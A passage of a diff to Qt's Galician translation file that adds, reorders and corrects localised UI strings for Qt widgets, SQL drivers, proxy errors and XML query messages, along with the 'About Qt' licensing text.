href="http://qt.nokia.com/products/licensing">qt.nokia.com/products/licensing</a> for an overview of Qt licensing.</p><p>Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).</p><p>Qt is a Nokia product. See <a href="http://qt.nokia.com/">qt.nokia.com</a> for more information.</p> + <p>Qt é un toolkit de C++ para o desenvolvemento de programas multiplataforma.</p> <p>Qt fornece portabilidade entre MS&nbsp;Windows, Mac&nbsp;OS&nbsp;X, Linux e as principais variantes comerciais de Unix cun único código fonte. Qt tamén está dispoñíbel para dispositivos incrustados como Qt para Embedded Linux e Qt para Windows CE.</p> +<p>Qt está dispoñíbel en tres opcións de licenzas diferentes deseñadas para adaptarse ás necesidades dos diferentes usuarios.</p> +</p>Qt distribuída sob o acordo de licenza comercial é adecuado para o desenvolvemento de software proprietario +ou comercial onde non é preciso compartir ningún código fonte con terceiras partes ou que non poden cumprir os termos das licenzas GNU LGPL versión 2.1 nin da versión 3.0.</p> +<p>Qt sob a licenza GNU General Public License versión 2.1 é apropriada para o desenvolvemento de programas Qt (proprietario ou de fontes abertas) supoñendo que poda cumprir cos termos e condicións da licenza GNU GPL versión 2.1.</p> +<p>Qt sob a licenza GNU General Public License versión 3.0 é apropriada para o desenvolvemento de programas Qt onde desexe empregar tales programas en combinación con software suxeito aos termos da GNU GPL versión 3.0 ou onde desexe cumprir cos termos da GNU GPL versión 3.0.</p> +<p>Consulte <a href="http://qt.nokia.com/products/licensing">qt.nokia.com/products/licensing</a> para ler un resumo das licenzas de Qt.</p> +<p>Copyright (C) 2011 Nokia Corporation ou as súas subsidiarias.</p> +<p>Qt é un produto de Nokia. Consulte <a href="http://qt.nokia.com/">qt.nokia.com</a> para máis información.</p> + + + <p>Qt is a C++ toolkit for cross-platform application development.</p><p>Qt provides single-source portability across MS&nbsp;Windows, Mac&nbsp;OS&nbsp;X, Linux, and all major commercial Unix variants. Qt is also available for embedded devices as Qt for Embedded Linux and Qt for Windows CE.</p><p>Qt is available under three different licensing options designed to accommodate the needs of our various users.</p><p>Qt licensed under our commercial license agreement is appropriate for development of proprietary/commercial software where you do not want to share any source code with third parties or otherwise cannot comply with the terms of the GNU LGPL version 2.1 or GNU GPL version 3.0.</p><p>Qt licensed under the GNU LGPL version 2.1 is appropriate for the development of Qt applications (proprietary or open source) provided you can comply with the terms and conditions of the GNU LGPL version 2.1.</p><p>Qt licensed under the GNU General Public License version 3.0 is appropriate for the development of Qt applications where you wish to use such applications in combination with software subject to the terms of the GNU GPL version 3.0 or where you are otherwise willing to comply with the terms of the GNU GPL version 3.0.</p><p>Please see <a href="http://qt.nokia.com/products/licensing">qt.nokia.com/products/licensing</a> for an overview of Qt licensing.</p><p>Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).</p><p>Qt is a Nokia product. See <a href="http://qt.nokia.com/">qt.nokia.com</a> for more information.</p> + <p>Qt é un toolkit de C++ para o desenvolvemento de programas multiplataforma.</p> <p>Qt fornece portabilidade entre MS&nbsp;Windows, Mac&nbsp;OS&nbsp;X, Linux e as principais variantes comerciais de Unix cun único código fonte. Qt tamén está dispoñíbel para dispositivos incrustados como Qt para Embedded Linux e Qt para Windows CE.</p> +<p>Qt está dispoñíbel en tres opcións de licenzas diferentes deseñadas para adaptarse ás necesidades dos diferentes usuarios.</p> +</p>Qt distribuída sob o acordo de licenza comercial é adecuado para o desenvolvemento de software propietario +ou comercial onde non é preciso compartir ningún código fonte con terceiras partes ou que non poden cumprir os termos das licenzas GNU LGPL versión 2.1 nin da versión 3.0.</p> +<p>Qt sob a licenza GNU General Public License versión 2.1 é apropiada para o desenvolvemento de programas Qt (propietario ou de fontes abertas) supoñendo que poda cumprir cos termos e condicións da licenza GNU GPL versión 2.1.</p> +<p>Qt sob a licenza GNU General Public License versión 3.0 é apropiada para o desenvolvemento de programas Qt onde desexe empregar tales programas en combinación con software suxeito aos termos da GNU GPL versión 3.0 ou onde desexe cumprir cos termos da GNU GPL versión 3.0.</p> +<p>Consulte <a href="http://qt.nokia.com/products/licensing">qt.nokia.com/products/licensing</a> para ler un resumo das licenzas de Qt.</p> +<p>Copyright (C) 2010 Nokia Corporation ou as súas subsidiarias.</p> +<p>Qt é un produto de Nokia. Consulte <a href="http://qt.nokia.com/">qt.nokia.com</a> para máis información.</p> + + + About Qt + Acerca de Qt + + + QMultiInputContext Select IM @@ -4118,7 +3911,7 @@ texto Cannot open %1: Path is a directory - Non é posíbel abrir %1: A rota é un directorio + Non é posíbel abrir %1: A ruta é un directorio Error opening %1: %2 @@ -4164,6 +3957,13 @@ texto + QNetworkAccessManager + + Network access is disabled. + O acceso á rede está desactivado. + + + QNetworkReply Error downloading %1 - server replied: %2 @@ -4183,13 +3983,6 @@ texto - QNetworkAccessManager - - Network access is disabled. - O acceso á rede está desactivado. - - - QNetworkReplyImpl Operation canceled @@ -4325,30 +4118,217 @@ texto - QPPDOptionsModel + QODBCResult - Name - Nome + Unable to fetch last + Non foi posíbel acadar o último - Value - Valor + QODBCResult::reset: Unable to set 'SQL_CURSOR_STATIC' as statement attribute. Please check your ODBC driver configuration + QODBCResult::reset: Non foi posíbel estabelecer «SQL_CURSOR_STATIC» como +atributo da sentenza. Verifique a configuración do controlador ODBC - - - QPrintDialog - &Options >> - &Opcións >> + Unable to execute statement + Non foi posíbel executar a sentenza - &Print - &Imprimir + Unable to fetch + Non foi posíbel acadar - &Options << - &Opcións << - + Unable to fetch next + Non foi posíbel acadar o seguinte + + + Unable to fetch first + Non foi posíbel acadar o primeiro + + + Unable to fetch previous + Non foi posíbel acadar o anterior + + + Unable to prepare statement + Non foi posíbel preparar a sentenza + + + Unable to bind variable + Non foi posíbel asociar a variábel + + + + QObject + + "%1" duplicates a previous role name and will be disabled. + «%1» duplica un nome de rol anterior e desactivarase. + + + invalid query: "%1" + pescuda non válida: «%1» + + + PulseAudio Sound Server + Servidor de son PulseAudio + + + + QPPDOptionsModel + + Name + Nome + + + Value + Valor + + + + QPSQLDriver + + Unable to connect + Non foi posíbel conectar + + + Could not begin transaction + Non foi posíbel comezar a transacción + + + Could not commit transaction + Non foi posíbel entregar a transacción + + + Could not rollback transaction + Non foi posíbel anular a transacción + + + Unable to subscribe + Non foi posíbel subscribirse + + + Unable to unsubscribe + Non foi posíbel anular a subscrición + + + + QPSQLResult + + Unable to create query + Non foi posíbel crear a consulta + + + Unable to prepare statement + Non foi posíbel preparar a sentenza + + + + QPageSetupWidget + + Form + Formulario + + + Paper + Papel + + + Page size: + Tamaño da páxina: + + + Width: + Largura: + + + Height: + Altura: + + + Paper source: + Fonte do papel: + + + Orientation + Orientación + + + Portrait + Retrato + + + Landscape + Apaisado + + + Reverse landscape + Apaisado invertido + + + Reverse portrait + Retrato invertido + + + Margins + Marxes + + + top margin + marxe superior + + + left margin + marxe esquerda + + + right margin + marxe dereita + + + bottom margin + marxe inferior + + + Centimeters (cm) + Centímetros (cm) + + + Millimeters (mm) + Milímetros (mm) + + + Inches (in) + Polgadas (pol) + + + Points (pt) + Puntos (pt) + + + + QPluginLoader + + The plugin was not loaded. + O complemento non se cargou. + + + Unknown error + Erro descoñecido + + + + QPrintDialog + + &Options >> + &Opcións >> + + + &Print + &Imprimir + + + &Options << + &Opcións << + Print to File (PDF) Imprimir nun ficheiro (PDF) @@ -4643,173 +4623,41 @@ Desexa sobrescribilo? US Common #10 Envelope (105 x 241 mm) Sobre US Common #10 (105 x 241 mm) - - Print all - Imprimir todas - - - Print selection - Imprimir a selección - - - Print range - Intervalo de impresión - - - Print current page - Imprimir a páxina actual - - - The 'From' value cannot be greater than the 'To' value. - O valor «de» non pode ser maior do que o valor «até». - - - OK - Aceptar - - - locally connected - conectado localmente - - - Aliases: %1 - Alcumes: %1 - - - unknown - descoñecido - - - - QPSQLDriver - - Unable to connect - Non foi posíbel conectar - - - Could not begin transaction - Non foi posíbel comezar a transacción - - - Could not commit transaction - Non foi posíbel entregar a transacción - - - Could not rollback transaction - Non foi posíbel anular a transacción - - - Unable to subscribe - Non foi posíbel subscribirse - - - Unable to unsubscribe - Non foi posíbel anular a subscrición - - - - QPSQLResult - - Unable to create query - Non foi posíbel crear a consulta - - - Unable to prepare statement - Non foi posíbel preparar a sentenza - - - - QPageSetupWidget - - Form - Formulario - - - Paper - Papel - - - Page size: - Tamaño da páxina: - - - Width: - Largura: - - - Height: - Altura: - - - Paper source: - Fonte do papel: - - - Orientation - Orientación - - - Portrait - Retrato - - - Landscape - Apaisado - - - Reverse landscape - Apaisado invertido - - - Reverse portrait - Retrato invertido - - - Margins - Marxes - - - top margin - marxe superior - - - left margin - marxe esquerda + + Print all + Imprimir todas - right margin - marxe dereita + Print selection + Imprimir a selección - bottom margin - marxe inferior + Print range + Intervalo de impresión - Centimeters (cm) - Centímetros (cm) + Print current page + Imprimir a páxina actual - Millimeters (mm) - Milímetros (mm) + The 'From' value cannot be greater than the 'To' value. + O valor «de» non pode ser maior do que o valor «até». - Inches (in) - Polgadas (pol) + OK + Aceptar - Points (pt) - Puntos (pt) + locally connected + conectado localmente - - - QPluginLoader - The plugin was not loaded. - A extensión non se cargou. + Aliases: %1 + Alcumes: %1 - Unknown error - Erro descoñecido + unknown + descoñecido @@ -5013,11 +4861,11 @@ Desexa sobrescribilo? P&roperties - P&ropriedades + P&ropiedades Location: - Localización: + Lugar: Preview @@ -5083,6 +4931,20 @@ Desexa sobrescribilo? + QPushButton + + Open + Abrir + + + + QRadioButton + + Check + Marcar + + + QRegExp no error occurred @@ -5248,13 +5110,6 @@ Desexa sobrescribilo? - QScriptNewBreakpointWidget - - Close - Pechar - - - QScriptDebugger Go to Line @@ -5338,7 +5193,7 @@ Desexa sobrescribilo? &Find in Script... - Procurar no &script... + Buscar no &script... Ctrl+F @@ -5346,7 +5201,7 @@ Desexa sobrescribilo? Find &Next - Procurar o &seguinte + Buscar o &seguinte F3 @@ -5354,7 +5209,7 @@ Desexa sobrescribilo? Find &Previous - Procurar o &anterior + Buscar o &anterior Shift+F3 @@ -5393,7 +5248,7 @@ Desexa sobrescribilo? <img src=":/qt/scripttools/debugging/images/wrap.png">&nbsp;Search wrapped - <img src=":/qt/scripttools/debugging/images/wrap.png">&nbsp;A procura retornou + <img src=":/qt/scripttools/debugging/images/wrap.png">&nbsp;A busca retornou @@ -5469,11 +5324,11 @@ Desexa sobrescribilo? Error Log - Rexisto de erros + Rexistro de erros Search - Procurar + Buscar View @@ -5485,6 +5340,80 @@ Desexa sobrescribilo? + QScriptNewBreakpointWidget + + Close + Pechar + + + + QScrollBar + + Line up + Aliñar en riba + + + Position + Posición + + + Line down + Aliñar en baixo + + + Scroll here + Desprazar cara aquí + + + Left edge + Borde esquerdo + + + Top + Cume + + + Right edge + Borde dereito + + + Bottom + Fondo + + + Page left + Páxina á esquerda + + + Page up + Páxina en riba + + + Page right + Páxina á dereita + + + Page down + Páxina en baixo + + + Scroll left + Desprazar cara á esquerda + + + Scroll up + Desprazar cara arriba + + + Scroll right + Desprazar cara á dereita + + + Scroll down + Desprazar cara abaixo + + + QSharedMemory %1: unable to set key on lock @@ -5556,7 +5485,7 @@ Desexa sobrescribilo? %1: not attached - %1: non adxuntado + %1: non anexado %1: size query failed @@ -5754,7 +5683,7 @@ Desexa sobrescribilo? Search - Procurar + Buscar Standby @@ -6046,7 +5975,7 @@ Desexa sobrescribilo? Rotate Windows - Xirar as fiestras + Xirar as xanelas Rotation PB @@ -6206,7 +6135,7 @@ Desexa sobrescribilo? Page Down - Página Abaixo + Páxina Abaixo Caps Lock @@ -6277,7 +6206,7 @@ Desexa sobrescribilo? Toggle Call/Hangup Button that will hang up if we're in call, or make a call if we're not. - Comutar chamar/colgar + Conmutar chamar/colgar Flip @@ -6285,7 +6214,7 @@ Desexa sobrescribilo? Voice Dial - Button to trigger voice dialling + Button to trigger voice dialing Chamar mediante voz @@ -6449,6 +6378,88 @@ Desexa sobrescribilo? + QSlider + + Page left + Páxina á esquerda + + + Page up + Páxina en riba + + + Position + Posición + + + Page right + Páxina á dereita + + + Page down + Páxina en baixo + + + + QSocks5SocketEngine + + Connection to proxy refused + A conexión co proxy foi rexeitada + + + Connection to proxy closed prematurely + A conexión co proxy pechouse antes de tempo + + + Proxy host not found + Non se atopou o servidor proxy + + + Connection to proxy timed out + A conexión co proxy esgotou o tempo-límite + + + Proxy authentication failed + Fallou a autenticación co proxy + + + Proxy authentication failed: %1 + Fallou a autenticación no proxy: %1 + + + SOCKS version 5 protocol error + Erro do protocolo SOCKS versión 5 + + + General SOCKSv5 server failure + Fallo xeral do servidor SOCKSv5 + + + Connection not allowed by SOCKSv5 server + O servidor SOCKSv5 non permitiu a conexión + + + TTL expired + Esgotouse o TTL + + + SOCKSv5 command not supported + A orde SOCKSv5 non está soportada + + + Address type not supported + Tipo de enderezo non soportado + + + Unknown SOCKSv5 proxy error code 0x%1 + Código de erro descoñecido (0x%1) do proxy SOCKSv5 + + + Network operation timed out + A operación de rede esgotou o tempo-límite + + + QSoftKeyManager Ok @@ -6476,6 +6487,17 @@ Desexa sobrescribilo? + QSpinBox + + More + Máis + + + Less + Menos + + + QSql Delete @@ -6578,11 +6600,11 @@ Desexa sobrescribilo? The basicConstraints path length parameter has been exceeded - Superouse a lonxitude da rota do parámetro basicConstraints + Superouse a lonxitude da ruta do parámetro basicConstraints The supplied certificate is unsuitable for this purpose - O certificado fornecido non é apropriada para este propósito + O certificado fornecido non é apropiada para este propósito The root CA certificate is not trusted for this purpose @@ -6594,11 +6616,11 @@ Desexa sobrescribilo? The current candidate issuer certificate was rejected because its subject name did not match the issuer name of the current certificate - O certificado emisor do candidado actual rexeitouse porque o nome do asunto non coincide co do emisor do certificado actual + O certificado emisor do candidato actual rexeitouse porque o nome do asunto non coincide co do emisor do certificado actual The current candidate issuer certificate was rejected because its issuer name and serial number was present and did not match the authority key identifier of the current certificate - O certificado emisor do candidado actual rexeitouse porque o nome do emisor e o número de serie están presentes pero non coinciden co identificador da autoridade da chave do certificado actual + O certificado emisor do candidato actual rexeitouse porque o nome do emisor e o número de serie están presentes pero non coinciden co identificador da autoridade da chave do certificado actual The peer did not present any certificate @@ -6681,14 +6703,48 @@ Desexa sobrescribilo? + QSystemSemaphore + + %1: permission denied + %1: negouse o permiso + + + %1: already exists + %1: xa existe + + + %1: does not exist + %1: non existe + + + %1: out of resources + %1: esgotou os recursos + + + %1: unknown error %2 + %1: erro descoñecido %2 + + + QTDSDriver Unable to open connection Non foi posíbel abrir a conexión - Unable to use database - Non foi posíbel empregar a base de datos + Unable to use database + Non foi posíbel empregar a base de datos + + + + QTabBar + + Scroll Left + Desprazar cara a esquerda + + + Scroll Right + Desprazar cara a dereita @@ -6734,6 +6790,53 @@ Desexa sobrescribilo? + QToolButton + + Press + Premer + + + Open + Abrir + + + + QUdpSocket + + This platform does not support IPv6 + Esta plataforma non admite IPv6 + + + + QUndoGroup + + Undo + Desfacer + + + Redo + Facer de novo + + + + QUndoModel + + <empty> + <baleiro> + + + + QUndoStack + + Undo + Desfacer + + + Redo + Facer de novo + + + QUnicodeControlCharacterMenu LRM Left-to-right mark @@ -6781,42 +6884,6 @@ Desexa sobrescribilo? - QUdpSocket - - This platform does not support IPv6 - Esta plataforma non admite IPv6 - - - - QUndoGroup - - Undo - Desfacer - - - Redo - Facer de novo - - - - QUndoModel - - <empty> - <baleiro> - - - - QUndoStack - - Undo - Desfacer - - - Redo - Facer de novo - - - QWebFrame Request cancelled @@ -6879,7 +6946,7 @@ Desexa sobrescribilo? This is a searchable index. Enter search keywords: text that appears at the start of nearly-obsolete web pages in the form of a 'searchable index' - Este é un índice con capacidade de procura. Introduza as palabras chave da procura: + Este é un índice con capacidade de busca. Introduza as palabras chave da busca: Choose File @@ -6894,7 +6961,7 @@ Desexa sobrescribilo? Open in New Window Open in New Window context menu item - Abrir nunha fiestra nova + Abrir nunha xanela nova Save Link... @@ -6964,7 +7031,7 @@ Desexa sobrescribilo? No Guesses Found No Guesses Found context menu item - Non se acharon conxecturas + Non se atoparon conxecturas Ignore @@ -6979,7 +7046,7 @@ Desexa sobrescribilo? Search The Web Search The Web context menu item - Procurar na web + Buscar na web Look Up In Dictionary @@ -7084,22 +7151,22 @@ Desexa sobrescribilo? No recent searches Label for only item in menu that appears when clicking on the search field image, when no searches have been performed - Non se procurou nada + Non se buscou nada Recent searches label for first item in the menu that appears when clicking on the search field image, used as embedded menu title - Procuras recentes + Buscas recentes Clear recent searches menu item in Recent Searches menu that empties menu's contents - Limpar as procuras recentes + Limpar as buscas recentes Missing Plug-in Label text to be used when a plug-in is missing - Falta a extensión + Falta o complemento Unknown @@ -7129,7 +7196,7 @@ Desexa sobrescribilo? Video Element Media controller element - Elemento de video + Elemento de vídeo Mute Button @@ -7239,7 +7306,7 @@ Desexa sobrescribilo? Movie time scrubber thumb Media controller element - Minuatura do cursor de posición do filme + Miniatura do cursor de posición do filme Rewind movie @@ -7881,7 +7948,7 @@ Desexa sobrescribilo? Start tag expected. - Agardábase unha etiquera de inicio. + Agardábase unha etiqueta de inicio. NDATA in parameter entity declaration. @@ -7893,7 +7960,7 @@ Desexa sobrescribilo? %1 is an invalid processing instruction name. - %1 é un nome non válido de intrucción de procesamento. + %1 é un nome non válido de instrución de procesamento. Invalid processing instruction name. @@ -7925,7 +7992,7 @@ Desexa sobrescribilo? Invalid character reference. - Referencia a un caracter non válido. + Referencia a un carácter non válido. @@ -8124,15 +8191,16 @@ Desexa sobrescribilo? The target name in a processing instruction cannot be %1 in any combination of upper and lower case. Therefore, %2 is invalid. - + O nome de destino nunha instrución de procesamento non pode ser %1 en ningunha combinación de maiúsculas nin minúsculas, polo que +%2 non é válido. %1 is not a valid target name in a processing instruction. It must be a %2 value, e.g. %3. - + %1 non é un nome válido de destino dunha instrución de procesamento. Debe ser un valor %2, p. ex. %3. The last step in a path must contain either nodes or atomic values. It cannot be a mixture between the two. - O último paso nunha rota debe conter ou nodos ou valores atómicos. Non pode ser unha mistura dos dous. + O último paso nunha ruta debe conter ou nodos ou valores atómicos. Non pode ser unha mistura dos dous. The data of a processing instruction cannot contain the string %1 @@ -8202,1627 +8270,1555 @@ Desexa sobrescribilo? %1 must be followed by %2 or %3, not at the end of the replacement string. - %1 debe estar seguido por %2 ou %3, non na fin da cadea substituta. + %1 debe estar seguido por %2 ou %3, non na fin da cadea substituta. In the replacement string, %1 must be followed by at least one digit when not escaped. - Na cadea substituta, %1 debe ir seguido de cando menos un díxito cando non -estea escapada. + Na cadea substituta, %1 debe ir seguido de cando menos un díxito cando non estea escapada. In the replacement string, %1 can only be used to escape itself or %2, not %3 - Na cadea substituta, %1 só pode ser usado para escaparse a si mesmo ou %2, -non %3. + Na cadea substituta %1 só pode ser usado para escaparse a si mesmo ou a %2, non a %3. %1 matches newline characters - %1 casa con caracteres de nova liña + %1 casa con caracteres de nova liña %1 and %2 match the start and end of a line. - %1 e %2 casan con comezo e fin de liña + %1 e %2 casan con comezo e fin de liña. Matches are case insensitive - As concordancias non son sensíbeis á capitalización + As concordancias non son sensíbeis á capitalización Whitespace characters are removed, except when they appear in character classes - Os espazos en branco son eliminados, excepto se aparecen en clases de -caracteres + Os espazos en branco son eliminados, excepto se aparecen en clases de caracteres %1 is an invalid regular expression pattern: %2 - %1 é un padrón non válido de expresión regular: %2 + %1 é un padrón non válido de expresión regular: %2 %1 is an invalid flag for regular expressions. Valid flags are: - %1 é unha bandeira non válida de expresión regular. As valedoiras son: + %1 é unha bandeira non válida de expresión regular. As valedoiras son: If the first argument is the empty sequence or a zero-length string (no namespace), a prefix cannot be specified. Prefix %1 was specified. - Se o primeiro argumento é a secuencia baleira ou unha cadea de lonxitude -cero (sen espazo de nomes), non se pode especificar un prefixo. -Especificouse o prefixo %1. + Se o primeiro argumento é a secuencia baleira ou unha cadea de lonxitude cero (sen espazo de nomes), non se pode especificar un prefixo. Especificouse o prefixo %1. It will not be possible to retrieve %1. - Non será posíbel acadar %1. + Non será posíbel acadar %1. The default collection is undefined - Non se definiu a colección predeterminada. + Non se definiu a colección predeterminada %1 cannot be retrieved - Non é posíbel acadar %1 + Non é posíbel acadar %1 The normalization form %1 is unsupported. The supported forms are %2, %3, %4, and %5, and none, i.e. the empty string (no normalization). - A forma de normalización %1 non está soportada. As formas soportadas son %2, -%3, %4, %5 e ningunha, i.e. a cadea en branco (sen normalización). + A forma de normalización %1 non está soportada. As formas soportadas son %2, %3, %4, %5 e ningunha, i.e. a cadea en branco (sen normalización). A zone offset must be in the range %1..%2 inclusive. %3 is out of range. - O desprazamento de zona debe estar no intervalo %1..%2 inclusive. %3 está -fora de intervalo. + O desprazamento de zona debe estar no intervalo %1..%2 inclusive. %3 está fora de intervalo. %1 is not a whole number of minutes. - %1 non é un número absoluto de minutos. + %1 non é un número absoluto de minutos. The URI cannot have a fragment - A URI non pode ter un anaco + A URI non pode ter un anaco Required cardinality is %1; got cardinality %2. - A cardinalidade requirida é %1; obtívose a cardinalidade %2. + A cardinalidade requirida é %1; obtívose a cardinalidade %2. The item %1 did not match the required type %2. - O ítem %1 non é do tipo requirido %2. + O elemento %1 non é do tipo requirido %2. The variable %1 is unused - A variábel %1 non é usada + A variábel %1 non é usada W3C XML Schema identity constraint selector - Selector de restrición de identidade do esquema XML do W3C + Selector de restrición de identidade do esquema XML do W3C W3C XML Schema identity constraint field - Campo de restrición de identidade do esquema XML do W3C + Campo de restrición de identidade do esquema XML do W3C A construct was encountered which is disallowed in the current language(%1). - Atopouse unha construción que non está permitida na linguaxe actual (%1). + Atopouse unha construción que non está permitida na linguaxe actual (%1). %1 is an unknown schema type. - %1 é un tipo de esquema descoñecido. + %1 é un tipo de esquema descoñecido. A template with name %1 has already been declared. - Xa se declarou un modelo co nome %1. + Xa se declarou un modelo co nome %1. %1 is not a valid numeric literal. - %1 non é un texto numérico válido. + %1 non é un texto numérico válido. Only one %1 declaration can occur in the query prolog. - Só pode haber unha declaración de %1 no prólogo da procura. + Só pode haber unha declaración de %1 no prólogo da procura. The initialization of variable %1 depends on itself - A inicialización da variábel %1 depende de si mesma + A inicialización da variábel %1 depende de si mesma No variable with name %1 exists - Non hai ningunha variábel chamada %1 + Non hai ningunha variábel chamada %1 Version %1 is not supported. The supported XQuery version is 1.0. - Non está soportada a versión %1. A versión soportada de XQuery é a 1.0. + Non está soportada a versión %1. A versión soportada de XQuery é a 1.0. The encoding %1 is invalid. It must contain Latin characters only, must not contain whitespace, and must match the regular expression %2. - A codificación %1 non é válida. Só debe conter caracteres Latinos, non pode -conter espazos, e debe casar coa expresión regular %2. + A codificación %1 non é válida. Só debe conter caracteres Latinos, non pode conter espazos, e debe casar coa expresión regular %2. No function with signature %1 is available - Non está dispoñíbel ningunha función coa sinatura %1 + Non está dispoñíbel ningunha función coa sinatura %1 A default namespace declaration must occur before function, variable, and option declarations. - Debe haber unha declaración dun espazo de nomes predeterminado antes das -declaracións de funcións, variábeis e opcións. + Debe haber unha declaración dun espazo de nomes predeterminado antes das declaracións de funcións, variábeis e opcións. Namespace declarations must occur before function, variable, and option declarations. - Debe haber declaracións dun espazo de nomes antes das declaracións de -funcións, variábeis e opcións. + Debe haber declaracións dun espazo de nomes antes das declaracións de funcións, variábeis e opcións. Module imports must occur before function, variable, and option declarations. - As importacións de módulos deben estar antes das declaracións de funcións, -variábeis e opcións. + As importacións de módulos deben estar antes das declaracións de funcións, variábeis e opcións. The keyword %1 cannot occur with any other mode name. - A palabra-chave %1 só pode aparecer con calquera outro nome de modo. + A palabra-chave %1 só pode aparecer con calquera outro nome de modo. The value of attribute %1 must be of type %2, which %3 isn't. - O valor do atributo %1 debe ser do tipo %2 e %3 non o é. + O valor do atributo %1 debe ser do tipo %2 e %3 non o é. It is not possible to redeclare prefix %1. - Non é posíbel declarar de novo o prefixo %1. + Non é posíbel declarar de novo o prefixo %1. The prefix %1 cannot be bound. By default, it is already bound to the namespace %2. - Non foi posíbel atopar o prefixo %1. Por omisión, xa está vinculado co -espazo de nomes %2. + Non foi posíbel vincular o prefixo %1. Por omisión, xa está vinculado co espazo de nomes %2. Prefix %1 is already declared in the prolog. - O prefixo %1 xa está declarado no prólogo. + O prefixo %1 xa está declarado no prólogo. The name of an option must have a prefix. There is no default namespace for options. - O nome dunha opción debe ter un prefixo. Non hai un espazo de nomes -predeterminado para as opcións. + O nome dunha opción debe ter un prefixo. Non hai un espazo de nomes predeterminado para as opcións. The Schema Import feature is not supported, and therefore %1 declarations cannot occur. - A funcionalidade de Importación de Esquema non está soportada, polo tanto -non pode haber declaracións %1. + A funcionalidade de Importación de Esquema non está soportada, polo tanto non pode haber declaracións %1. The target namespace of a %1 cannot be empty. - O espazo de nomes de destino dun %1 non pode estar en branco. + O espazo de nomes de destino dun %1 non pode estar en branco. The module import feature is not supported - A funcionalidade de importación de módulos non está soportada + A funcionalidade de importación de módulos non está soportada A variable with name %1 has already been declared. - Xa foi declarada unha variábel co nome %1. + Xa foi declarada unha variábel co nome %1. No value is available for the external variable with name %1. - Non se dispón de ningún valor para a variábel externa chamada %1. + Non se dispón de ningún valor para a variábel externa chamada %1. A stylesheet function must have a prefixed name. - As funcións de folla de estilo deben ter un nome con prefixo. + As funcións de folla de estilo deben ter un nome con prefixo. The namespace for a user defined function cannot be empty (try the predefined prefix %1 which exists for cases like this) - O espazo de nomes das funcións definidas polo usuario non pode estar en -branco (probe co prefixo predefinido %1, que está para casos como este) + O espazo de nomes das funcións definidas polo usuario non pode estar en branco (probe co prefixo predefinido %1, que está para casos como este) The namespace %1 is reserved; therefore user defined functions may not use it. Try the predefined prefix %2, which exists for these cases. - O espazo de nomes %1 está reservado; polo tanto as funcións definidas polo -usuario non poden usalo. Ténteo co prefixo predefinido %2, que está para -casos como este. + O espazo de nomes %1 está reservado; polo tanto as funcións definidas polo usuario non poden usalo. Ténteo co prefixo predefinido %2, que está para casos como este. The namespace of a user defined function in a library module must be equivalent to the module namespace. In other words, it should be %1 instead of %2 - O espazo de nomes dunha función definida polo usuario nun módulo de -biblioteca debe ser equivalente ao espazo de nomes do módulo. Con outras -verbas: debe ser %1 no canto de %2 + O espazo de nomes dunha función definida polo usuario nun módulo de biblioteca debe ser equivalente ao espazo de nomes do módulo. Con outras verbas: debe ser %1 no canto de %2 A function already exists with the signature %1. - Xa existe unha función coa sinatura %1. + Xa existe unha función coa sinatura %1. No external functions are supported. All supported functions can be used directly, without first declaring them as external - Non se soportan as funcións externas. Todas as funcións soportadas poden ser -usadas directamente, non fai falla declaralas como externas + Non se soportan as funcións externas. Todas as funcións soportadas poden ser usadas directamente, non fai falla declaralas como externas An argument with name %1 has already been declared. Every argument name must be unique. - Xa foi declarado un argumento co nome %1. O nome de cada argumento debe ser -único. + Xa foi declarado un argumento co nome %1. O nome de cada argumento debe ser único. When function %1 is used for matching inside a pattern, the argument must be a variable reference or a string literal. - Cando se emprega unha función %1 para procurar nun patrón, o argumento debe -ser unha referencia variábel ou unha cadea literal. + Cando se emprega unha función %1 para procurar nun patrón, o argumento debe ser unha referencia variábel ou unha cadea literal. In an XSL-T pattern, the first argument to function %1 must be a string literal, when used for matching. - Nun patrón XSL-T, o primeiro argumento da función %1 cando sexa empregada -para facer procuras debe ser unha cadea de texto. + Nun patrón XSL-T, o primeiro argumento da función %1 cando sexa empregada para facer procuras debe ser unha cadea de texto. In an XSL-T pattern, the first argument to function %1 must be a literal or a variable reference, when used for matching. - Nun patrón XSL-T, o primeiro argumento da función %1 cando sexa empregada -para facer procuras debe ser unha cadea de texto ou unha referencia variábel. + Nun patrón XSL-T, o primeiro argumento da función %1 cando sexa empregada para facer procuras debe ser unha cadea de texto ou unha referencia variábel. In an XSL-T pattern, function %1 cannot have a third argument. - Nun patrón XSL-T, a función %1 non pode ter un terceiro argumento. + Nun patrón XSL-T, a función %1 non pode ter un terceiro argumento. In an XSL-T pattern, only function %1 and %2, not %3, can be used for matching. - Nun patrón XSL-T, só pode empregar para procuras as funcións %1 e %2, non a % -3. + Nun patrón XSL-T, só pode empregar para procuras as funcións %1 e %2, non a %3. In an XSL-T pattern, axis %1 cannot be used, only axis %2 or %3 can. - Nun patrón XSL-T non pode empregarse o eixo %1, só os %2 e %3. + Nun patrón XSL-T non pode empregarse o eixo %1, só os %2 e %3. %1 is an invalid template mode name. - %1 non é un nome de modo válido do modelo. + %1 non é un nome de modo válido do modelo. The name of a variable bound in a for-expression must be different from the positional variable. Hence, the two variables named %1 collide. - O nome dunha variábel asociada a unha expresión for debe ser diferente da -variábel posicional. Por isto, as dúas variábeis chamadas %1 chocan. + O nome dunha variábel asociada a unha expresión for debe ser diferente da variábel posicional. Por isto, as dúas variábeis chamadas %1 chocan. The Schema Validation Feature is not supported. Hence, %1-expressions may not be used. - Non está soportada a funcionalidade de Validación do Esquema. Polo tanto, as -expresións %1 non poden ser usadas. + Non está soportada a funcionalidade de Validación do Esquema. Polo tanto, as expresións %1 non poden ser usadas. None of the pragma expressions are supported. Therefore, a fallback expression must be present - Non está soportada ningunha das expresións pragma. Polo tanto, debe haber -presente unha expresión de reserva + Non está soportada ningunha das expresións pragma. Polo tanto, debe haber presente unha expresión de reserva Each name of a template parameter must be unique; %1 is duplicated. - Os nomes dos parámetros do modelo deben ser únicos, %1 está duplicado. + Os nomes dos parámetros do modelo deben ser únicos, %1 está duplicado. The %1-axis is unsupported in XQuery - Non está soportado o eixo %1 en XQuery + Non está soportado o eixo %1 en XQuery No function with name %1 is available. - Non hai ningunha función chamada %1. + Non hai ningunha función chamada %1. The namespace URI cannot be the empty string when binding to a prefix, %1. - A URI do espazo de nomes non pode ser unha cadea valeira cando se estexa a -asociar cun prefixo, %1. + A URI do espazo de nomes non pode ser unha cadea valeira cando se estea a asociar cun prefixo, %1. %1 is an invalid namespace URI. - %1 non é unha URI válida de espazo 